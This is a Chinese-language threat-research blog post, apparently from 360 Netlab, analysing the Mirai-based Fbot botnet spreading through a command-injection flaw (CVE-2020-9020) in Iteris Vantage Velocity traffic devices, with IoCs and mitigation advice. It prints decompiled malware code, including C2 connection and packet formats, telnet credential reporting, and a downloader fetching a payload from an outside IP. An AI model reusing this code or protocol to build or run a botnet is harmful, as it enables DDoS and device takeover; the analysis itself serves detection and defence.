Botnet

Fbot僵尸网络正在攻击交通和运输智能设备

Genshen Ye, Alex.Turing
Mar 3, 2021 • 7 min read

背景介绍

Fbot是一个基于Mirai的僵尸网络，它一直很活跃，此前我们曾多次披露过该僵尸网络[1][2]。我们已经看到Fbot僵尸网络使用了多个物联网（Internet of things）设备的N-day漏洞和0-day漏洞（部分未披露），现在它正在攻击车联网（Internet of Vehicles）领域的智能设备，这是一个新现象。

2021年2月20号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用美国Iteris, Inc.公司的Vantage Velocity产品的远程命令执行漏洞（CVE-2020-9020）[3][4]，传播Fbot僵尸网络样本。

据维基百科介绍[5]，Iteris, Inc.公司为智能移动基础设施管理提供软件和咨询服务，包括软件即服务以及托管和咨询服务，并生产记录和预测交通状况的传感器和其他设备。

结合Vantage Velocity产品用途，并从受影响的设备上发现AIrLink GX450 Mobile Gateway产信息，因此我们推测受影响设备是路边设备系统。

CVE-2020-9020漏洞分析

通过360 FirmwareTotal系统，我们验证并分析了CVE-2020-9020漏洞。

1. 在Vantage Velocity产品Synchronize With NTP Server处，用户可以设置指定的ntp服务器地址。

2. `timeconfig.py`脚本在接受前端用户Web请求后未对`htmlNtpServer`变量过滤，即将其拼接为`shell`变量格式`"ntpserver=" + form["htmlNtpServer"].value.strip()`，并写入到`/root/timeparam`文件中。
3. 当`timeconfig.py`脚本调用`shell`脚本`/root/ntpconfig`，读取`/root/timeparam`文件初始化变量`ntpserver`时，触发命令执行漏洞。

漏洞影响范围

360 Quake网络空间测绘系统通过对全网资产测绘，发现Vantage Velocity设备具体分布如下图所示。

Fbot僵尸网络

Fbot已经是安全社区非常熟悉的老朋友了，它是在Mirai基础上开发的僵尸网络，主要改动体现在2个方面

- 加密算法
- 上线包，心跳包

此次通过Nday传播的样本（arm7），基本信息如下所示:

> *MD5:deaee7ada44bf1c6af826d2d170c8698*
> *ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped*
> *Packer:None*

它本身并没有特别之处，主要功能是

- DDoS攻击
- Telnet扫描&传播

下文将围绕上述功能做简要分析。

DDoS攻击

首先Fbot通过以下代码片段和硬编码的C2(`198.23.238.203:5684`)建立连接

```
c2_addr.sin_family = 2;
c2_addr.sin_port = 0x3416;                  // 5684
c2_addr.sin_addr.s_addr = 0xCBEE17C6;       // 198.23.238.203
v28 = (_DWORD *)sub_40D10C(v27, 4LL);
*v28 = 0;
v18 = (char *)&c2_addr;
v21 = v28;
_libc_connect((unsigned int)dword_517050, &c2_addr, 16LL);
```

随后向C2发送长度为78字节的上线信息

```
wrap_send((unsigned int)dword_517050, &v71, 78LL, 0x4000LL);
```

```
v71 = 2;
v72 = 0x4200;
v73 = 0x3300;
v74 = 0x6300;
v75 = 0xC801u;
v76 = 0xFC02u;
v77 = 0x4900;
```

实际中产生的网络流量如下所示：

```
00000000  02 00 00 42 00 33 00 63  01 c8 02 fc 00 49 00 07   ...B.3.c .....I..
00000010  75 6e 6b 6e 6f 77 6e 00  00 00 00 00 00 00 00 00   unknown. ........
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00        ........ ......
```

上线包中的信息用来验证BOT的合法身份，以上图上线包为例，格式解析如下所示：

```
Main field parsing, others can be 0
-----------------------------------------
02    --->type, register package
00 42 00 33 00 63  01 c8 02 fc 00 49   --->hardcoded, authentication
00 07   --->length of group string
75 6e 6b 6e 6f 77 6e ---->group string, "unknown"
-----------------------------------------
```

发送完上线包后Bot开始等待C2下发指令，指令包的第一个字节指定了指令类型。

0x00，心跳指令码

以下图心跳为例

```
    00000000  00 00 1b 37 03 f3 25 e3  19 40 1e 68 1a d2 00 00   ...7..%. .@.h....
    00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00        ........ ......
0000009C  00 00 1b 37 03 f3 25 e3  19 40 1e 68 1a d2 00 00   ...7..%. .@.h....
000000AC  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000BC  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000CC  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000DC  00 00 00 00 00 00 00 00  00 00 00 00 00 00        ........ ......
```

心跳包的格式解析如下所示

```
Main field parsing, others can be 0
-----------------------------------------
00  --->type, heartbeat package
1b 37 03 f3 25 e3  19 40 1e 68 1a d2   --->hardcoded
-----------------------------------------
```

0x01，DDoS攻击指令码

以下图攻击指令为例

```
   0000009C  01 00 00 00 00 00 00 00  00 00 00 00 00 00 01 00   ........ ........
   000000AC  3c 01 67 5f dd bc 00 20  02 02 00 04 31 34 36 30   <.g_... ....1460
   000000BC  01 00 02 35 33 00 00 00  00 00 00 00 00 00 00 00   ...53... ........
   000000CC  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
   000000DC  00 00 00 00 00 00 00 00  00 00 00 00 00 00        ........ ......
```

攻击包的格式解析如下所示

```
Main field parsing, others can be 0
-----------------------------------------
```

```
01                                          --->type, attack package
01                                                  --->attack type
00 3c                                       --->time (sec)
01                                                  --->number of target
67 5f dd bc 00 20                  --->target/mask,103.95.221.188/32
02                                                  --->number of flag
        02                                                  --->flag type, attac
        00 04                                       --->flag length
        31 34 36 30                                 --->flag data, 1460


        01                                                  --->flag type, port
        00 02                                       --->flag length
        35 33                                       --->flag data, 53
_____________________________________________
```

0x03，退出

```
if ( v63 == 3 )
{
  sub_403F90();
  sub_40CB80(v29, &v63);
  sub_406FF0();
  _libc_close((unsigned __int8)v87);
  _libc_close(0xFFFFFFFFLL);
  _GI_kill((unsigned int)dword_5176F0, 9LL);
  _GI_kill((unsigned int)dword_5176F4, 9LL);
  _GI_exit(0LL);
}
```

Telnet扫描&传播

Fbot在传播过程中用到了SYN端口探测的技巧，来提高传播效率。

```
tcpHdr.dest = (unsigned int)(v239 % 3) < 1 ? 0x1A00 : 0x1700;// port 23,26
tcpHdr.seq = ipHdr.daddr;
```

从上面的代码片段，可知其扫描流量有2个特征

1. 扫描23端口数量约为26端口的2倍
2. tcp头中的序列号与ip头中的目标地址相等

当探测到端口开放时，使用硬编码的凭证列表尝试登录，将能成功登录的`IP，端口，帐号，密码`等信息通过以下代码片段回传给

Reporter(`198.23.238.203:774`)。

```
reporter.sin_family = 2;
reporter.sin_addr.s_addr = 0xCBEE17C6;    // 198.23.238.203
reporter.sin_port = 0x603;                // 774
if ( (unsigned int)_libc_connect(v5, &reporter, 16LL) != -1 )
  sub_40C870(v6, (__int64)"[telnet] %s", a1);
```

实际产生的网络流量如下图所示：

```
00000000  5b 74 65 6c 6e 65 74 5d  20 61 74 74 65 6d 70 74   [telnet]  attempt
00000010  69 6e 67 20 2d 2d 2d 3e  20 5b 31 34 31 2e 39 38   ing --->  [141.98
00000020  2e 32 31 32 2e 31 30 3a  32 33 20 72 6f 6f 74 3a   .212.10: 23 root:
00000030  67 70 6f 6e 5d                                     gpon]
```

最后通过`网络下载`或`ECHO`的方式向存在telnet弱口令的设备植入Fbot样本，并将植入成功的信息回传给Reporter。

1：网络下载

如果设备有`wget, tftp`工具则直接通过网络下载在设备上下载对应CPU架构的Fbot样本。

```
method = "wget";
v10 = "bot %s successfully deployed via %s ---> [%s:%d %s:%s]";
if ( *(_BYTE *)(v42 + 2190) != 1 )
  method = "tftp";
_GI_sprintf(
  v42 + 1064,
  (__int64)"bot %s successfully deployed via %s ---> [%s:%d %s:%s]",
  *(_QWORD *)(v42 + 32),
  method,
  v90,
  v87,
  v89,
  v88);
goto Report_proc;
```

2：ECHO

如果设备没有网络下载工具则通过ECHO的方式向设备上传入相应CPU架构的**Fbot downloader**，用以下载Fbot样本。

```
v10 = "bot %s successfully deployed via echo ---> [%s:%d %s:%s]";
_GI_sprintf(
  v42 + 1064,
  (__int64)"bot %s successfully deployed via echo ---> [%s:%d %s:%s]",
  *(_QWORD *)(v42 + 32),
  v99,
  v96,
  v97,
  v98);

reporter_process(v86, (__int64)v10);
```

其中样本内置的**Fbot downloader**信息如下图所示：

```
bash-3.2$ md5 deaee7ada44bf1c6af826d2d170c8698
MD5 (deaee7ada44bf1c6af826d2d170c8698) = deaee7ada44bf1c6af826d2d170c8698
bash-3.2$ binwalk deaee7ada44bf1c6af826d2d170c8698

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit LSB executable, ARM, version 1 (SYSV)
120724        0x1D794         ELF, 32-bit LSB executable, ARM, version 1 (ARM)
121708        0x1DB6C         ELF, 32-bit LSB executable, ARM, version 1 (SYSV)
123060        0x1E0B4         ELF, 32-bit MSB MIPS-I executable, MIPS, version 1 (SYSV)
124832        0x1E7A0         ELF, 32-bit LSB MIPS-I executable, MIPS, version 1 (SYSV)
126604        0x1EE8C         ELF, 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV)
127880        0x1F388         ELF, 32-bit LSB executable, Hitachi SH, version 1 (SYSV)
128892        0x1F77C         ELF, 32-bit MSB executable, Motorola 68020, version 1 (SYSV)
129976        0x1FBB8         ELF, 32-bit MSB executable, SPARC, version 1 (SYSV)
134328        0x20CB8         Unix path: /sys/devices/system/cpu
```

以上图中，文件偏移`0x1D794`的downloader为例，

> *MD5:9b49507d1876c3a550f7b7a6e4ec696d*
> *ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped*
> *Packer:None*

它的功能就是向下载服务器(`198.23.238.203:80`)请求Fbot样本并执行。

```
HIBYTE(dl_addr.sin_port) = 80;                  // 80
dl_addr.sin_addr.s_addr = 0xCBEE17C6;           // 198.23.238.203
LOBYTE(dl_addr.sin_family) = 2;
HIBYTE(dl_addr.sin_family) = v1;
LOBYTE(dl_addr.sin_port) = v1;
v3 = sub_8094(&unk_82D0, 577, 511);
v4 = wrap_socket(2, 1, v1);
v5 = v4 == -1;
if ( v4 != -1 )
  v5 = v3 == -1;
v6 = v4;
if ( v5 )
  sub_8074(1);
v7 = wrap_connect(v6, &dl_addr, 16);
if ( v7 < 0 )
  sub_8074(-v7);
if ( sub_80D8(v6, "GET /arm HTTP/1.0\r\n\r\n", v2 + 25) != v2 + 25 )
```

处置建议

我们建议Vantage Velocity用户及时检查并更新固件系统。
我们建议Vantage Velocity用户为Web和SSH等管理接口设置复杂登陆密码。
我们建议读者对相关IP和URL进行监控和封锁。

联系我们

感兴趣的读者，可以在 twitter 或者通过邮件**netlab[at]360.cn**联系我们。

IoC

IP:

```
198.23.238.203          United States          ASN36352                AS-COLOCROSSI
```

C2:

```
198.23.238.203:5684
```

URL:

```
http://198.23.238.203/arm7
```

MD5:

```
deaee7ada44bf1c6af826d2d170c8698
```

招聘信息

360网络安全研究院在杭州新成立了一个产品团队，把我们的安全数据和技术产品化，探索网络安全行业未知威胁检测难题，为360安全大脑添砖加瓦。

从一次平凡的网络扫描，到漏洞、样本、安全事件分析，再到0-day漏洞检测、未知恶意软件检测、高级威胁追踪，我们致力于通过数据驱动安全，构建网络安全看得见的能力。

招聘岗位：
前端开发工程师、后端开发工程师、产品经理、安全工程师、算法工程师

详情链接：https://blog.netlab.360.com/work-in-hangzhou/

Botnet

Fbot is now riding the traffic and transportation smart devices

Background Fbot, a botnet based on Mirai, has been very active ever sine we first blogged about it here[1][2], we have seen this botnet using multiple 0 days before(some of them we have not disclosed yet) and it has been targeting various IoT devices, now, it is

rinfo

Rinfo Is Making A Comeback and Is Scanning and Mining in Full Speed

Overview In 2018 we blogged about a scanning&mining botnet family that uses ngrok.io to propagate samples: "A New Mining Botnet Blends Its C2s into ngrok Service ", and since mid-October 2020, our BotMon system started to see a new variant of this family that is active

See all 114 posts →

Mar 3, 2021 · 5 min read

Feb 10, 2021 · 6 min read